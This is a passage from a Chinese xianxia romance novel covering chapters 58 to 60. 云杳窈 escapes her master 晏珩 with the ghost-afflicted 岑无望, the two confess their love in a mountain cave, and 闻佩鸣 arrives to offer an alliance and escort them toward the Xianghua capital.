“抱歉,事急从权,损失的东西我一力承担。”随之而来的是已经突破幻象的晏珩,他衣袂翩翩,荼白袖袍迎风招展,恍若孤鹤展翅翱翔。 他的目光从始至终都没有分给闲杂人等,在场环视半周,找到了已经拉着岑无望想要趁乱悄悄逃离此处的云杳窈。 晏珩没有丝毫犹豫,掐诀幻化出十二柄剑,紧随她的背影而去,其中有两道已经抵挡在她身前,提前拦住去路。 拨雪剑气汹汹,他的声音依旧温柔,带着包容和无奈:“为什么总让我担心,那些门规教条还是没印在心里,连最基本的尊师重道都学不会。” 云杳窈能听见他刻意的传音入耳,她慌乱之中也没有选择折返向他示弱,而是猛然顿住,盯了眼前寒气森森的拨雪分身片刻,她耳边挤入一道冷静的嗓音:“向上。” 猛然拉着岑无望朝上方飞去。 晏珩眯起眼,以为她想躲到飞舟上,他轻笑一声,两指并拢,闲闲挥去手上寒气,再度凝聚指尖灵力。 天底为之陷入一瞬间的寂静,而后便是无穷尽的冰冷。 像是耗尽了数百年的严冬,在须臾之间,寒气聚集在飞舟附近,很快就有木质断裂的牙酸声音传过来。 晏珩安然落地,站在闻佩鸣身旁,拍了拍他的肩膀,语气带了丝戏谑:“少阁主放心,我不会让你死在这里的。” 掺着冰渣的飞舟齑粉从天而落,晏珩一挥袖,所有东西都停滞在半空。 胜券在握,所以他几乎是漫步走入自己所造就的寒冰炼狱之中,甚至有余力将沿途被殃及的诸位挖出来,解开他们身上的寒冰束缚。 连血液都瞬时凝固的剧痛,几乎要侵蚀人的所有理智,只有晏珩才能做他们的庇护。 所有人都不自觉跟在他身后,如同行尸走肉一般,暂时失去了知觉和思考能力,只为了索取片刻温暖和生意。 烟尘散去,晏珩定睛看向剑阵围住的那一方落点。 没有血迹,没有挣扎,没有人影。 他唇边犹挂着浅笑,漫天的寒冰却陡然被怒火惊醒,泼洒下来,将众人的神智唤回。 包括怀璞长老在内的所有人都打起了寒颤。 他咳嗽几声,被弟子们扶了起来,他看清了局势,不知道云杳窈用了什么法子逃脱,却能感受到寒冰之下深埋的波涛暗涌,对着那个如雕塑般的身影安慰道:“师弟,没事,人没了再想法子抓就好,不要动怒。” 他的话晏珩不知听进去没有,总之,他对着空气呆愣愣看了一会儿,抬手接住了一片雪花。 雪花即刻消融在他掌心。 怀璞还在想着安慰晏珩的话,他却兀自转身,众人还没看清他脸上变幻的神情,一息之间,他已移至闻佩鸣身前,单手掐着脖子将人从地上提了起来。 他把握着距离,让闻佩鸣的膝盖刚好够着地面又不能突破强大威压顺势站立起来。 那张与岑无望相似的脸在此刻越发可恨,晏珩感觉脸部的经脉有一瞬疼痛抽搐,明明是他手中的人无法呼吸,他却如同也被扼紧咽喉一般,气血往头顶翻涌。 “真以为我不敢杀你吗?敢在我眼皮子底下搞小动作,一颗可有可无的棋子,还真把自己当作一回事了,想玩英雄救美,也要看你配不配。” 他的五指陷入闻佩鸣的脖颈,这世间所有的生命在他手中无比柔脆,他却分毫不在意,甚至懒得维护自己的磊落形象。 一种无法抵抗的疲惫感涌上心头,他甚至想就这么把在场所有人杀了,这样反倒干净省事。 或者更直接一点,他开始清除所有除云杳窈以外的人,左右这世间不过渺茫的天与地,如真是能仅剩他们一双,就再不会因旁人生出事端。 “你今日杀了我,就再也别想见到她了。”闻佩鸣艰难道,“至少这一世的她,你别想再见到了。” 晏珩眯起眼:“你威胁我,真以为我不敢下手吗?” 他指尖寒气将闻佩鸣颈间血液的温度迅速降低,几乎凝结。 冷热两股灵力在闻佩鸣体内对抗着,他在剧痛中服软:“我把她带回来,我会把她完整带回来,你不是还有想要的东西吗?不放她去找,我们又怎么可能找到灵果的踪迹?” 第58章 飞舟坠落之时,内部有一道残阵还未立即消散,能隐蔽人的踪迹,所涵盖范围甚广。 云杳窈在听到闻佩鸣声音时,已经走投无路,听从他指令向上寻找残阵,属于铤而走险,她也为自己捏了把冷汗。 好在这回闻佩鸣还算仗义,她竟然真的借着残骸中的阵法逃了出来。 向南便能越过大河抵达南荒,可她没有渡河的船只,南荒境内危机四伏,只有照渊阁治下的几座城还算太平。 向东的襄华王都无法庇佑他们,王都虽繁荣,但若是晏珩施压要人,他们也难逃被舍弃的命运。 再往东南七百里是大陆核心,亦是人迹罕至的禁区,更是嵘烬山所在之处,可止戈与岑无望交易已经完成,先不论他们二人如今形同陌路,止戈一副作壁上观的姿态,没有她的指引,搞不好连山门都见不着。 残阵效果有限,不知道什么时候会消失,身后的追击者不知何时就会赶上,她捏在手里的一小块阵法核心灵石逐渐失去灵气,她只能选择一个方向走到底。 权衡利弊之下,云杳窈最终选择一路向东,在夜色沉沉中深入大陆的中心禁地。 岑无望因体内鬼气与灵气冲撞而昏了过去,云杳窈只能背着他。 明明**还在,她却觉得背上的人轻飘飘的,好像下一秒就能随着山间迷雾飘散消亡。 耳边静悄悄的,听不见他的呼吸。云杳窈心惊肉跳,停住脚步歇了一口气,喊他:“岑无望。” 他的心口紧贴着云杳窈的背,她能感受出,岑无望的心脏正以一种不可思议的速度狂跳着。 云杳窈总怕这颗躁动不安的心脏承受不了如此混乱的力量,在某一瞬间跳出胸膛。 终于,在第三次呼喊后,岑无望苏醒了过来,比呼吸声更快抵达耳边的,是他微弱的回应。 “别怕,我不会死的。” 汗流淌到下巴,云杳窈故作轻松:“我知道你不敢。” 她怕岑无望再次昏过去,于是和他开玩笑:“这下你可欠 我更多一点了,你要是死在这里,我岂不是白忙活一场,虽说身死债消,可救命的恩情如此深重,你要到地府躲债,那我该向谁说理去?总不能去问阎王要人。” 她说着,岑无望忍不住笑了几声,笑得险些滑落。 他紧紧环抱住云杳窈,没主动下来赶路,整个人赖在她身上,懒散道:“放心,阎王不稀罕收我。我脸皮厚,承蒙恩人宠幸,方才能保住小命一条。” “是啊。”云杳窈说,“你可要铭记于心,你的命已经是我的了,千万,千万,千万要代我珍重它。” 她重复“千万”两个字的时候,岑无望几乎是屏住呼吸,就这么认真听着她略带疲惫的轻语。 就在这么缱绻的温声叮嘱中,岑无望倾耳听着,突然意识到一件令他神魂惊惧的事。 若是单凭依赖和不舍,云杳窈绝对不至于为他孤身赴险境,甚至不惜与乾阳宗划清界限,与他这么一个恶名远扬的行尸走肉纠缠在一起。 岑无望嘴唇微颤,很想问她是不是喜欢他。 从前他以为,云杳窈是小孩子心性,对他的追思和依恋不过是年少时的悸动使然,他可以引导,可以拒绝,却绝不能诱导她走上情路。 此时的人间已非千年前,她懵懂无知,他却不能趁人之危,哄骗她的真心。 可现在呢? 在亲眼见证她眼中爱怜后,岑无望甚至怀疑,她的喜欢是不是比他预想中更多,更坚不可摧。 岑无望无意要她的全部关注和全部情感,可人总是贪心的,一旦设想出一个答案,心中便会不由自主地生出更多贪念。 答案昭然若揭,岑无望甚至不需要等到一个明确的回答,仅凭云杳窈那紧紧抓握着他的手就能找出答案。 岑无望眨眨眼,一边吞下因激动而翻涌上来的血,一边忍不住喊她:“恩人。” 他戳了戳云杳窈的后颈。 有点痒,但云杳窈不方便回头,被他莫名带着点谄媚的语气激起一层鸡皮疙瘩,于是掐了他一下,道:“干嘛。” 岑无望将犯完贱的手垫在胸口前,隔开两人太过贴近的心脏。 他笑着,话到嘴边,却不禁红了眼眶,“师妹的话我必定牢记于心,我还想看着你安稳一生,你若不快乐,我可是死不瞑目呢。” 岑无望一身傲骨,却总在面对云杳窈时生出几分怯来。 倘若说,爱使怯懦者勇敢,那它同样能使自负者卑微。 见云杳窈没接话,他又大着胆子继续说:“你不是想过凡人的生活吗?那等我们避过了这阵子风头,就游山玩水去,若是你哪一日遇见意气相投之人,我绝不打扰,你在心底给师兄留个位置,准我在身侧看完你的一辈子,我就心满意足了。” 云杳窈沉默着,步调未变,岑无望见状,一时摸不准她脾气,只能继续添油加醋。 鬼化严重侵蚀了他的脑子,云杳窈这么个大活人在他眼前,他忽然感觉胃部有一股灼烧感。 咽下一口唾液,久违的饥饿感让岑无望胡言乱语起来。 “若是……若是你未来夫君是个不容人的,与我起了争执,你会后悔今日救我吗?” 岑无望的牙根有点痒,他没多少力气,将下巴垫在云杳窈肩膀上,能闻到她身上淡淡的香气。貌似只需要一点不经意的转动,就能将唇印在她的肌肤之上。 他被这种卑劣下流的想法惊醒,还未来得及唾弃自己,被云杳窈猛然松手的动作吓了一跳。 岑无望反应不及,直接跌倒在地,还好此处是山间平地,不至于一路滚下去。 “我现在就后悔了。”云杳窈说,“你这么体贴,那就自己走吧,我累了。” 云杳窈脚步情况,头也不回的往前走。 细雨飘洒,很快就同山雾一起将两人间隔起一层朦胧白纱。 岑无望几次想上前抓住云杳窈的手腕,奈何她像背后长了眼珠子似的,总能灵巧避开他。 “师妹。” “杳窈。” 山路湿滑,土地泥泞,云杳窈听见身后人的粗喘,还有压抑不住的咳嗽声,便顺着山间地势,钻入一方洞穴内。 奔逃一天一夜,不止是累的,还是气的,云杳窈从方才开始便没有再同岑无望说过一句话。 岑无望看着云杳窈沉默绞干衣摆上的沉重雨水,又自顾自贴着洞口处的石壁坐下。 她没有合眼休息,反倒警觉盯着外头的动静,以防真的有人会不惜代价进入嵘烬山追捕他们。 岑无望挨着她坐下,鬼化带来的灼烧感一路从胃烧到心口,他身上的纹路又增长了不少,只有靠近云杳窈时才能好受些。 但他又不满足于靠近,总想试探着扯一扯云杳窈的袖子。 扯了袖子,自然就想试试能不能再更靠近些。 偏偏他手指勾上去,她总能绕开他的指法,寻到空子甩开他。 到最后,她索性原地打坐调息,连余光都不再分给他。 见状,岑无望能看见她带着湿润水汽的鬓角碎发迎风微动,索性破罐子破摔:“师妹,你喜欢我。” 云杳窈深吸一口气,胸前来回深深起伏,这使岑无望越发笃定,她定然听见了自己的话。 久违的,岑无望心底萌生了一种有恃无恐的娇纵和坦然。 他凑到云杳窈脸前,看着她那副波澜不惊的秀丽五官,重复一遍刚才的话:“你喜欢我啊?” 谁了,下一秒云杳窈便睁开双眼,她趁岑无望不备,直接将他猛地推倒,以一种不容对方抗拒的姿态压在他身上。 她能看清对方脸上一闪而过的错愕,也能看出他根本没有任何防备心。 岑无望仰躺在地,挑眉以待,就这么轻而易举接受了云杳窈略显粗暴的压制。 他甚至不担心她会做些什么,或者换句话来说,即便是此刻她要了他的命,他都不会去思考缘由。 云杳窈启唇,用近乎冰冷的语气回复他:“我恨你。” 她每个字音都咬得很重,手上力气也在不断加重,岑无望汲取着她身上的体温,也在此刻看见她眼里的怨恨。 只是这怨恨无端带了些缠绵和惶然。 “我特别恨你,恨你为什么总是一副为我考虑的大度模样,恨你总是能洒脱抽离,你凭什么觉得,在我为你舍生忘死后,还能若无其事转头与他人共度此生。” “我生来睚眦必报,你想将我推给别人,没门。” 云杳窈看着身下人逐渐收敛笑容,眼球微微不安转动。 “你宁愿冷眼旁观,也不愿参与其中,到底是不想介入因果,还是因为这一世的我,并不如你设想那般完美。” “我从前不懂得,你为什么总是对我百依百顺,却不准我爱你。现在我明白了,并非你冷漠无情,而是你的情深,不能全部付诸于我。” “岑无望。” “师兄。” “阿兄。” “你到底喜欢听我喊你什么?” 无风却见雨,一滴滚烫的雨落在岑无望眼睫上,模糊了他的视线,他听见云杳窈说。 “这一世的我,没有优越出身,没有强大灵力,没有能够足以复兴灵族,完成复仇大业的能力,你很失望吧。” “那你讨厌我吗,你是不是同样恨我?” 就像云杳窈恨他一样,她害怕又期待着,对方回馈给她同等浓烈的爱恨。 她抽出一只手,轻轻扣上岑无望的脖颈,不是去控制他的命脉所在,而是摩挲着一道接近咽喉处的灵族秘文。 失传已久的灵族文字,云杳窈在幻境中学习过这几个字的含义,正是她的名字。 岑无望能以声控制灵力运转, 琴、笛、鼓……凡能发出声音的,都能为他所用。 而他最后一个武器,便是自己的声音,能拟万物声响,亦可伤人于无形。 云杳窈见识过憎愔的本领,自然知道他的咽喉是要害。 平日里便以一块方巾作遮掩,从不轻易示人。云杳窈也是在他方才跌倒时才看清其中奥秘。 岑无望感受到她略带薄茧的手指滑过那处隐秘的禁制符文,身体不由自主颤抖了一下,他这才想起,刚刚得意忘形,从云杳窈背上摔下来的时候,颈前遮掩禁制符文的方巾有所松动,一直松松垮垮挂在那里,他并未来得及将其重新整理系好。 云杳窈伏在他胸口上,指尖微微陷进他的颈间肌肤,他最脆弱也是最强大的地方。 他动了动手臂,将云杳窈揽在怀里,轻抚着她的背,如无数次深夜里哄她安心入睡一般,低声道。 “杳窈,你聪颖清明,应当知道,狠心的人从来都不是我。” “在这世间万万人中,你的灵魂就是独一无二的,并不会因出身的贵贱而改变其坚韧,更不会因记忆的残缺而丧失本性。强大与否都是后天赋予的,并非生来就有的能力,我也从不在乎你能否光复灵族,我只要你。” 云杳窈静静伏在他身上,看不见脸上表情,可岑无望知道,她一定是在认真听着自己说话。 对于岑无望,她可能有时候确实少了些耐心,但总会多些期待。 岑无望不会让她的期待落空,所以那些耐心,他乐意去补足。 “我并非一直都有站在你身边的特权。我们并不是第一次做凡人,甚至不是第一次做同门师兄妹,每一世的每一次,但凡是你选择了我,我都会义无反顾站在你身侧。” “你选择了谁,谁才是你的臂膀,你的忠臣,你的不可替代。” “杳窈,你从不孤单,也并不渺小,你所蕴含的力量和权力,远比你想象中的要更加强大。” 岑无望叹了口气,将她从怀中挖了出来,捧着她的脸,与她四目相对。 “只是有的时候,世事易变,人潮喧嚣,以至于你会错失了倾听自己声音的机会。” 第59章 “还记得我们第一次见面吗?”岑无望用手拨开云杳湿润的头发,好让偶尔误入洞中的风也不能妨碍她眼中盛满自己。 云杳窈的阴影落在岑无望的脸上,她永远不会忘记两人初遇那日,但还是故意说:“太久远的事情,我记得不得。” 就好像存了心思与他置气一般。 天地作证,云杳窈并非任性妄为的人,岑无望也绝非什么温柔敦厚的脾气。她向来是得了台阶就顺势而下,但偏偏在岑无望这里,总是忍不住再三试探他脾气的底线在哪里。 两人对望一阵,还是岑无望先开了口。 “在流民堆中,火光映着你的脸,红彤彤的。”他回想着那时情景,尽量避开所有有可能会伤害到她的字眼。“木烬尘埃落在你的发上,好似蒙了一层愁。” “在看见我的一瞬间,你喊我哥哥,你让我救你。” “我本不该靠近你,可是我忍不住。”他眼含热泪,眼睛眨也不眨,任凭泪光聚集在眼窝里。“我那时候就想,若你注定是浊世飘零的舟,那便由我作你身下涛浪,直到——” 他喉结滚动,酸涩在喉管里不断涨大,咽不下,吐不出。 岑无望轻轻说,重重承诺:“直到你不再惶恐,不再无措,找到可以停泊的岸,直到你不再需要我。” “可是我错了。”岑无望说,“我早该明白,这世间没有永恒的靠山,更没有无风的岸,可我只想你康乐无忧,甚至有时候会固执己见,忽视了你的感受。” 他道歉:“我错了,我简直错的离谱,我不该把希望寄托在别人的怜悯上。” “杳窈,我一直没有来得及和你说。” “我爱你。” 岑无望抬头,带着虔诚将苍白的嘴唇印在云杳窈冰凉的额心,然后是仍在轻轻抖动的眼睫以及小巧精致的鼻尖。 可心底的欲望并不满足于这些浅尝辄止的触碰。 岑无望与她互相蹭了蹭鼻尖,就像不会言语的小动物在做某些只可意会不可言传的交流。 “杳窈,你能亲亲我吗?” 若是忽略了逐渐滚烫的鼻息,岑无望讨赏讨得异常自然,但师妹没有允许,他只能一次又一次在云杳窈唇边徘徊,在附近捕捉她略显局促的呼吸。 云杳窈没有回答,明明她已经把岑无望压在身下,可对方却没有半分被压制的自觉,那些鬼气就这么偃旗息鼓,慢吞吞在两人身旁流动。 岑无望看见云杳窈喉间微动,嘴唇张了张。很可惜,没有捕捉到任何一句明显的指令。 他只好用指尖轻轻划过她掌心,撒娇似的央求:“师妹,你疼疼师兄吧。” 云杳窈并不是想要拒绝他,实在是岑无望的眼神太过炙热,让她一时间不知道从哪个角度亲近才好。 她试探着贴了贴岑无望的唇角,却听见身下人轻笑,她能感受到岑无望连嘴角的弧度都往上扬了扬。 “你笑什么!”云杳窈羞恼道。 腥甜在齿间漫开时,未尽的话语被岑无望突如其来的强势打断。洞外骤雨忽至,翠绿新叶裹着不知何时重新漫布山野的雨丝,从洞穴门口钻进来,落在了云杳窈的肩膀上。 有一些细密的雨雾扫进云杳窈的后颈肌肤,引起一阵颤栗,可能是这突如其来的凉意让她分了心,她将自己从泥泞的思绪里拉扯开,与岑无望分离。 “不够。”岑无望得寸进尺,在云杳窈意识到有点不对劲时,鬼气凝结而成的绳不知何时攀上她腰肢,隔着衣料传来细密的震颤,隔绝雨雾的同时,贪婪的汲取她身上的热意。 他欲将她重新拉回情海欲潮之间。 “师妹知道这世上什么话不能听吗?” 在分辨不清的喘息中,岑无望颈前的方巾已经被云杳窈攥成一团,符文传来微弱的金色光芒,几乎要压制不住他外溢的灵气。 鬼气与灵气缠斗,云杳窈目眩神秘,有时会想要休息一下,然而岑无望追的紧,与她交换吐息,偏偏不肯容她再度抽离。她几乎在怀疑恍惚看见初见那夜的火光穿透岁月,将两道影子熔铸在潮湿的石壁上。 一会儿是丝竹歌舞间滚动的银杯,一会儿是殿上红绸间青涩稚嫩的脸,还有灰色天空下,负剑而过的少年侠客。 被世界遗忘的两个魂魄,此刻正从彼此血肉里煅出新的形状。 云杳窈不小心咬到岑无望的唇,听见他倒吸一口气,才赶忙撇过头去。 脑子里一片空白,她只能就地取材,随便扯了个话题。 “岑无望,你脖子上的东西,好像有点不对劲。” 符文灼烧着岑无望的三魂六魄,他面不改色,将皱巴巴的方巾从云杳窈手中抽出,胡乱盖在上面。 “没事,不重要。” “都发光了怎么可能不重要……” “等一下!”云杳窈干脆捂住他的嘴,转移话题,“你先说你刚刚的问题,究竟是什么话?” 岑无望叽里咕噜说了一句话,云杳窈根本听不清,只感觉他努了努嘴。 云杳窈半信半疑,看着他无辜眨了眨眼,才将手移开。 顺带在岑无望肩头擦了擦掌心。 岑无望字音越来越缓越来越轻,道:“当然是……” 云杳窈只能俯身侧耳去听。 “当然是鬼话。” 说完,他轻啄了下云杳窈的耳垂。 云杳窈起了一身鸡皮疙瘩,几乎是要跳起来。 “岑无望!你找死啊。” 云杳窈算是看出来了,岑无望这会儿是已经缓过劲儿来,还有闲心逗她。 她作势要去揍他,手还没落在他身上,岑无望就已经皱起了眉头。 “错了错了错了,师妹手下留情,饶 我一命。” 云杳窈瞪大眼睛,更来气了。 “我还没打你呢。” 从前岑无望也会偶尔嘴贱,但在绝大多数情况下,都是一副清正舒朗的君子模样。 反正如今这种无耻面孔,云杳窈还是头一次见。 她不禁想,鬼化对岑无望的影响是否已经到了影响心智的地步。 岑无望还想同她嬉皮笑脸玩闹,突然听见有人高声喊道:“云师姐!” 那声音劈入山洞,如惊雷般炸开,主人随之闯了进来。 闻佩鸣猝不及防看见洞内情形。 云杳窈衣衫齐整,只是脸上略带些薄粉。 反观岑无望,虽面色仍旧冷白如玉,可胸前衣领已经微微散开,向来整齐的方巾也皱巴巴的。 喘息如牛,刺耳异常,闻佩鸣怀疑他是刚化成牛精犁了两亩地回来。 “好巧啊。”闻佩鸣微笑道,“师姐可是在帮师兄镇压身上鬼气?我看他气息紊乱,鬼气纵横,恐失了神智伤害师姐,不如我来帮你。” 说罢,他合上折扇就要过来抓人。 云杳窈反应很快,顾不得尴尬,剑横在闻佩鸣面前,面上满是警惕。 “你为什么会在这里。” 尖锐的剑光与他不过毫厘,只要一个不小心就能将他洞穿。 闻佩鸣似乎没看见她的敌意,折扇未展,天同不出,解释道:“你们用的是我亲自布下的法阵,我自然有法子寻迹而来。” 看见云杳窈眼神落在他身后,闻佩鸣又接着说:“师姐不用担心,我孤身一人前来连天枢都没有随行,更不会带着不干净的尾巴过来。” 闻佩鸣甚至自我调侃:“毕竟讨嫌的有一个就够了。” 岑无望闻言冷笑:“你也知道你是个讨嫌的,怎么还这么不识趣?” 闻佩鸣用扇柄慢慢将云杳窈的剑拂开,长叹一口气:“那没办法,我怎么忍心看着师姐送死?天下之大,恐怕只有我这个照渊阁少主能暂时庇护师姐了。” “我可是来救你的。”闻佩鸣道,“师姐,可不要辜负我一片真心啊。” “如今,乾阳宗的追杀令遍布各地,各方势力很快就会闻讯而动,无论你们逃到哪里,都会有微尘仙君的拥趸者将你们的踪迹卖给乾阳宗,可你们却没有筹码能令所有人缄口不言。” 云杳窈道:“那真是太遗憾了,寻常人我都无法打动,更别提师弟你了,看在你我过往交情上,你走吧。” 闻佩鸣单手打开折扇,扇动额发。 “按照照渊阁的规矩,这种亏本买卖,我原是不屑于做的,可师姐你不一样。” “我为你叛逃师门,现在已经是微尘仙君的眼中钉、肉中刺,更是整个乾阳宗的异类。除了一条道走到黑,我也没有别的办法了。怎么样,随我回蔚云城,你就是未来的城主夫人和阁主夫人,只要不出我治下的南荒十六城,我保你一辈子太平无忧。” “我一片真心,若不是倾慕师姐良久,我是断不会三番两次随你至绝境险途的。”闻佩鸣笑眯眯道,“毕竟,商人最重利益和名声,我肯为师姐让利,又敢冒天下之大不韪与师门决裂,与声名显赫的微尘仙君对抗。天下又不止岑无望一个男人,我倾慕师姐,愿以一城为聘,与师姐结为道侣。师姐何不认真权衡利弊,看一看我的诚意。” 就如闻佩鸣话中所言,商人最重利益与名声,云杳窈已经上过一次当,见识过闻佩鸣为利不择手段的模样,自然不敢交托信任。 此前敢为夺剑心设局,说不准来日就会在利益面前将她作为交换的筹码。 财富可以塑造名声,只要照渊阁和南荒一日不倒,他便永远是风光无限的掌权者。 闻佩鸣话中的荣华富贵唾手可得,云杳窈却不为所动,道:“恐怕要让你失望了,我对成为少公主的笼中鸟雀没有兴趣,更不想做什么城主夫人和阁主夫人。你既然不想做乾阳宗弟子,那就回蔚云城去,你我道不同不相为谋,少阁主请回吧。” 三人僵持着,直到闻佩鸣说:“师姐还是不信任我。” 云杳窈身体更加紧绷,她一边将问心握紧,一边推脱:“怎么会呢,只是不想毁了师弟的大好前程。堂堂少阁主,坐拥十六城之繁华,何必执着于一个虚无缥缈的预言呢?更何况,师弟口口声声说倾慕于我,恐怕也只是被预言蒙蔽,人生苦长,何必被三两句虚言束缚。” “师弟,有些时候,还是不要太迷信命运才好。” 闻佩鸣终于收敛了笑意,他缓缓接住了摇摆的扇骨,将扇子重新扣了回去。 某一瞬间,他身上的冷峻已经不像是云杳窈见过的那个闻佩鸣,更像是一直活跃的傀儡断了线,就这么等待着命运将他重推回台前。 好一会儿,他似乎回了魂,扯了扯嘴角,却发现怎么都复原不了原先的笑容。 第60章 落针可闻的洞穴里,只能听见外面风雨交织的天地泣声。 闻佩鸣能看见云杳窈的脖颈线条绷得很直,他静默的观察着她的每一分变化,等回过神来,鬼气已经在不知不觉间将他下半身围住。 就像是原地设下牢笼,罪魁祸首还单手环着云杳窈,未曾多说一个字,但眸色深沉,在她背后紧紧盯着闻佩鸣。 就像是蛰伏在竹枝叶影间的蛇。 额角的经脉不停跳动,山间的冷意没有平息心头莫名升起来的烦躁,闻佩鸣深吸一口气,按照事先想好的说辞与她继续交涉。 “好吧,感情讲究两情相悦,师姐既然不愿意,我也不能强求。不过咱们可以不谈情,只讲利益,我现下有一桩能令你我二人都满意的交易,师姐何不再多考虑考虑。” 怕云杳窈拒绝的太快,闻佩鸣继续说:“你们继续东躲西藏并非长久之计,要想摆脱晏前杨总的追捕,惟有两条路可走,一是入南荒,得照渊阁庇护。” “不过师姐已经提前拒绝,那便只剩下另一条了。”闻佩鸣重新挂起笑,“据我阁中情报可知,师姐当初能从幻境顺利脱身,是得了一位灵族遗民的助力。若阁中眼线的消息没有错,这位灵族遗民,应该是襄华太子的门客,深得姜烛信任。照渊阁有一批要紧货物在襄华境内遗失,急需我亲自跑一趟。” “我护送你们去襄华王都,你们牵线搭桥,将我引荐给他们,待我寻回那些货物后,我必定遵守承诺,不再继续纠缠下去,如何?” 闻佩鸣额上已经生了一层细密的汗,鬼气已经缠到胸口,他呼吸渐渐困难,但死活不肯露出分毫难色。 云杳窈思索片刻,她此前确实打算进入禁区,说不准就能凭借记忆进入嵘烬山,可还没摸到入口,闻佩鸣便已经紧随而至。 贸然将不熟悉的人带入嵘烬山,说不准会给止戈带来麻烦,打破灵族最后的安宁。 山内遗存的灵族秘法绝不能为外人探知,尤其是镜湖的秘密,就算现在她拒绝了闻佩鸣的所有提议,按照闻佩鸣的性格,他不可能会安分离开,他们的行踪和性命也可以是他与别人的交易。 权衡利弊,云杳窈还是决定先稳住闻佩鸣,临时更改计划。 “好啊。”云杳窈说,“不过我只能试试,太子烛会不会施以援手,我不清楚,但那位灵族遗民性情捉摸不定,我与她交情并不深,即便我将你引荐给她,她也有可能拒绝帮你。” 听见云杳窈松口,闻佩鸣松了口气,赶忙说:“无妨。能不能打动那位大人,是我该考虑的事,师姐不必烦忧,即便她拒绝,我们交易已成,我届时必定遵守约定,绝不会再麻烦师姐半分。” 说完,闻佩鸣用手中扇指了指身上越来越浓厚的鬼气。 “现在我们暂时是盟友了,能不能先松开我。”他用扇子敲了敲,发出沉闷的声音,像是被裹进了一团棉花里。 云杳窈用手肘顶了顶岑无望,他这才若无其事收回鬼气。 闻佩鸣道:“事发突然,为避开乾阳宗的耳目,我此行并未带大批随从,且临时从蔚云城调派飞舟未免兴师动众,恐被有心人察觉行踪,可能要委屈师姐与师兄了。” 云杳窈摇头:“无妨,我们御剑而行,避开沿途城池和村镇,不求快,只求稳。” 闻佩鸣扑哧笑出声:“我再窝囊,也不至于叫师姐风餐露宿。你放心,我已经飞书至沿途照渊阁 的眼线,他们会接应我们,灵驹和通行证已经备好,越往襄华方向去,便越顺利,必不会给师姐添麻烦。” “山下的灵驹已然备好,师姐请随我来。” 说罢,他先行一步踏入雨中,提起放在洞外岩石缝隙里的伞,回身对着云杳窈垂首:“愿为师姐遮风挡雨。” 太阳被云层遮蔽,灰蓝的天光罩在他青色衣衫上,微风轻拂,隐约能看见衣裳上的暗纹,流云飘动,细竹摇曳。他眉目经伞影笼罩,模糊了眼中的精明锐利,不像锱铢必较的商人,更像是温和清隽的如玉公子。 方才一直逆着光,云杳窈还没注意到,如今借着晨光打量着闻佩鸣,还是会因他的容貌心头一惊。 云杳窈不禁往身后看了一眼,岑无望挑了挑眉,还以为她是在犹豫要不要陪着他一起淋雨。 “盛情难却啊。”岑无望走了过去,将伞抽了过来,“师弟真是热心肠啊,如此心思纯良,应该会礼让病人吧。” 说着,他咳嗽几声,捂着心口说:“老毛病了,见谅,见谅。” 闻佩鸣没有谦让,直接紧握着伞柄,想要夺回来。 “既然是病人,那不如留在原地,等我和师姐下山与暗卫会合后,再让他们上来把师兄抬下山去。” 他用力将伞拉扯回来,没料到岑无望不曾放手,他们在原地拉扯几个回合,云杳窈从他们身旁走过。 “师姐!”闻佩鸣喊道。 “师妹!”岑无望跟着喊。 两人都在等云杳窈选择。 云杳窈的目光在他们两人之间徘徊了一阵,最终看见他们青筋凸起的手。 这两张颇为相似的脸同时在伞下出现,就像是一对双生子,连不肯退让的倔强都一模一样。 “你们俩怕雨的话,就一起撑伞好了。”云杳窈说。 她摊开一只手的手心,在空中抓了抓,道:“才这么一点雨,打伞会影响我的视线。” 那柄伞的制作精良,伞面由特殊颜料绘制,经雨水浸润后,还有淡淡幽香。但碍事也是真碍事,山路确实难行,下了雨后坡地更加湿滑,稍有不慎就会被碎石泥沼绊住脚步,风向多变,多有斜风乱雨扫入伞下,很难不淋湿衣衫。 云杳窈知道他们这是想借机发挥,她幼时家里孩子不少,多有这种争宠博取爹娘关注的手段出现。为了接下来结伴而行的日子里能稍微太平些,所以根本不偏向任何一方,抬手遮了遮眼前雨水,问他们:“还走不走?” 还没等到有人回答,伞骨在两人的手中断开,闻佩鸣的手靠上,干脆掐断一截,将伞抢了过来,走向云杳窈。 “走,事不宜迟,我们现在就走吧。” 岑无望并不生气,他笑着摇了摇头,手掌翻动,手腕用巧劲向前一甩。 嗖的一声,那一截断裂的伞骨经不住鬼气,在空中分裂成两半,各自平滑着飞了出去。 其中半个直接把伞面的几面伞布刮破,另外的部分穿透树林,引起阵阵晃动,堆积在枝叶上的雨水迅速汇集成股,洒落下来。 这些雨水正好顺着破裂的伞面浇在闻佩鸣身上。 “抱歉。”岑无望没有丝毫愧疚,“手滑了。” 闻佩鸣忍无可忍,手已经摸到身侧的天同,将要抽剑挥向岑无望。 云杳窈按住他,打圆场道:“你知道的,我师兄他深受鬼气荼毒,脑子还有点糊涂,少阁主不要和他计较。” 岑无望就站在原地,鬼化程度已经被压制了不少,皮肤上的纹路退回方巾下,此刻唇角含笑,眼神清明,看起来与寻常人无异。 闻佩鸣觉得他的病和鬼化都只是借口,只是云杳窈在一旁求情,他不能真和她口中的糊涂虫算糊涂账,只好咽下这口气,道:“师姐说得是。” 他压着心头的火,点头顺着她的话说:“我看师兄确实脑子不清醒,南荒名医不少,照渊阁中亦有奇方灵药,师姐若是需要,我不介意无偿提供些帮助。” 他长舒一口恶气,想到接下来要说什么,就忍不住真情实意笑了出来:“毕竟,岑师兄的情况确实看起来比较紧急。” 原以为能看见岑无望气急败坏,未料到此人神色泰然自若,点头应是:“这是自然。幸有师妹爱惜,时时问候,处处关心。她如此小心谨慎,体贴入微,我倒是会为此感到有些烦扰,我哪里就这么脆弱了呢。” 观他神情,听他语气,实在不像为此困扰的样子。 云杳窈适时打断:“好了,我们尚未抵达襄华境内,还是处处小心为妙,此处不宜久留,我们快些动身吧。” 许是有同样的鼓励,岑无望与闻佩鸣都没再多说些什么,三人一起淋着雨下了山。 离开山脉间的微弱禁制,他们才能御剑而行,由闻佩鸣带路,往最近的城镇出发。 云杳窈以为两人间的争斗结束了。 争斗压根不算开始。 他们顺利来到了由照渊阁建立起的中转站,一座稍显孤僻的客栈,根本没有多少行人往来。 还未换身衣服歇歇脚,便在客栈内遇见险情。 准确来说,是岑无望遭遇了险情。 岑无望的左脚刚踏入客栈,另一只脚甚至没能迈过门槛,数支暗箭从房梁上飞出,可惜他进门时脚步顿了一瞬,不然就能被瞬间射成刺猬。 